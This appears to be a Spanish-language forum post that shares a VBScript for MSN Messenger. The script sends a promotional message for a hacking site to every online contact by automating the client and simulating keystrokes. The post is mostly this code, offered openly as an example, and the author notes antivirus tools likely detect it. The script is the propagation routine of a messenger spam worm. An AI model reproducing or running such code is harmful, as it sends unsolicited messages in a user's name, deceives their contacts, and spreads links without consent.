Al ver el mensaje de RockoX me recordé esa idea que había tenido y lo que hubise sido su implementación en *.vbs (hay codes parecidos para vb)
Código
set taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process") set objshell = createobject("wscript.shell") for each process in taskmgr if process.name = "msnmsgr.exe" then 'Revisamos que el proceso del msn este corriendo Set objMsn = CreateObject("Messenger.UIAutomation") for each contacto in ObjMsn.mycontacts 'Por cada contacto en nuestra lista... if contacto.status = 2 and objMsn.mystatus = 2 then 'Si nuestro estado es online, y el de nuestro contacto tambien... Set iM = objMsn.InstantMessage(contacto.signinname) objshell.appactivate contacto.friendlyname objshell.SendKeys "Visita el hacker.net :D{ENTER}" 'Abrimos una ventana de conversacion y enviamos un mensaje end if next end if next
Si alguien quiere probarlo, recomiendo quitar el {ENTER}, ya que sino enviarán el mensaje a todos sus contactos online
Para que haga algo, deben de tener el msn abierto, y estar como conectados, así como también deben de estarlo sus contactos, y luego si, ejecutar este script
Bueno, eso fue todo, un pequeño aporte que quizás sirva como ejemplo (de seguro es detectado por varios AV)
Saludos